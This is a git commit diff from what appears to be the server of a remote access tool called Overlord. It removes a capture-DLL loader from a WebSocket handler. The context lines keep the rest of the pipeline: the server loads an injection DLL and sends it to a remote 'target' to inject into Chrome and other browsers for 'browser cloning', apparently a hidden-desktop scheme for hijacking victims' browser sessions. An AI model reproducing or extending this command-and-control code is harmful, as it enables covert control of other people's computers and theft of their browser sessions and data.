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remove Capture DLL

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This commit is contained in:
KingKDot
2026-08-04 23:27:55 -05:00
parent b077c520a3
commit 1d431103bb
33 changed files with 28 additions and 5822 deletions
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Overlord-Server/src/server/ws-console-rd-backstage.ts
-53
View File
@@ -38,10 +38,6 @@ let _cachedInjectionDll: Uint8Array | null = null;
let _dllCachePath: string | null = null;
let _dllCacheMtimeMs: number = 0;
let _cachedCaptureDll: Uint8Array | null = null;
let _captureDllCachePath: string | null = null;
let _captureDllCacheMtimeMs: number = 0;
function getInjectionDllBytes(): Uint8Array | null {
const runtimeRoot = resolveRuntimeRoot();
const candidates = [
@@ -86,49 +82,6 @@ function getInjectionDllBytes(): Uint8Array | null {
return null;
}
function getCaptureDllBytes(): Uint8Array | null {
const runtimeRoot = resolveRuntimeRoot();
const candidates = [
path.resolve(runtimeRoot, "dist-clients", "BackstageCapture.x64.dll"),
path.resolve(process.cwd(), "dist-clients", "BackstageCapture.x64.dll"),
path.resolve(import.meta.dir, "../../dist-clients/BackstageCapture.x64.dll"),
];
if (_captureDllCachePath) {
try {
const { statSync } = require("fs");
const st = statSync(_captureDllCachePath);
if (st.mtimeMs === _captureDllCacheMtimeMs && _cachedCaptureDll) {
return _cachedCaptureDll;
}
_cachedCaptureDll = new Uint8Array(readFileSync(_captureDllCachePath));
_captureDllCacheMtimeMs = st.mtimeMs;
logger.info(`[backstage] reloaded capture DLL from ${_captureDllCachePath} (${_cachedCaptureDll.length} bytes)`);
return _cachedCaptureDll;
} catch {
_captureDllCachePath = null;
_cachedCaptureDll = null;
}
}
for (const dllPath of candidates) {
if (!existsSync(dllPath)) continue;
try {
const { statSync } = require("fs");
const st = statSync(dllPath);
_cachedCaptureDll = new Uint8Array(readFileSync(dllPath));
_captureDllCachePath = dllPath;
_captureDllCacheMtimeMs = st.mtimeMs;
logger.info(`[backstage] loaded capture DLL from ${dllPath} (${_cachedCaptureDll.length} bytes)`);
return _cachedCaptureDll;
} catch {
continue;
}
}
return null;
}
const VIEWER_BACKPRESSURE_BYTES = Math.max(
64 * 1024,
Number(process.env.OVERLORD_MEDIA_VIEWER_BACKPRESSURE_BYTES || 512 * 1024),
@@ -1434,7 +1387,6 @@ export function handlebackstageViewerMessage(ws: ServerWebSocket<SocketData>, ra
safeSendViewer(ws, { type: "backstage_error", error: "backstage injection DLL not found on the server. Browser cloning requires the DLL to be built and placed in the server directory.", critical: true });
break;
}
const captureDll = getCaptureDllBytes();
const cmdPayload: Record<string, any> = {
path: String(payload.path || ""),
search_path: String(payload.search_path || ""),
@@ -1442,7 +1394,6 @@ export function handlebackstageViewerMessage(ws: ServerWebSocket<SocketData>, ra
dll: dllData,
display: state.display ?? 0,
};
if (captureDll) cmdPayload.capture_dll = captureDll;
sendbackstageCommand(target, "backstage_start_process_injected", cmdPayload);
break;
}
@@ -1453,13 +1404,11 @@ export function handlebackstageViewerMessage(ws: ServerWebSocket<SocketData>, ra
safeSendViewer(ws, { type: "backstage_error", error: "backstage injection DLL not found on the server. Browser cloning requires the DLL to be built and placed in the server directory.", critical: true });
break;
}
const captureDllChrome = getCaptureDllBytes();
const chromeCmdPayload: Record<string, any> = {
path: String(payload.path || ""),
dll: dllData,
display: state.display ?? 0,
};
if (captureDllChrome) chromeCmdPayload.capture_dll = captureDllChrome;
sendbackstageCommand(target, "backstage_start_chrome_injected", chromeCmdPayload);
break;
}
@@ -1470,7 +1419,6 @@ export function handlebackstageViewerMessage(ws: ServerWebSocket<SocketData>, ra
safeSendViewer(ws, { type: "backstage_error", error: "backstage injection DLL not found on the server. Browser cloning requires the DLL to be built and placed in the server directory.", critical: true });
break;
}
const captureDllBrowser = getCaptureDllBytes();
const browserCmdPayload: Record<string, any> = {
browser: String(payload.browser || ""),
path: String(payload.path || ""),
@@ -1480,7 +1428,6 @@ export function handlebackstageViewerMessage(ws: ServerWebSocket<SocketData>, ra
dll: dllData,
display: state.display ?? 0,
};
if (captureDllBrowser) browserCmdPayload.capture_dll = captureDllBrowser;
sendbackstageCommand(target, "backstage_start_browser_injected", browserCmdPayload);
break;
}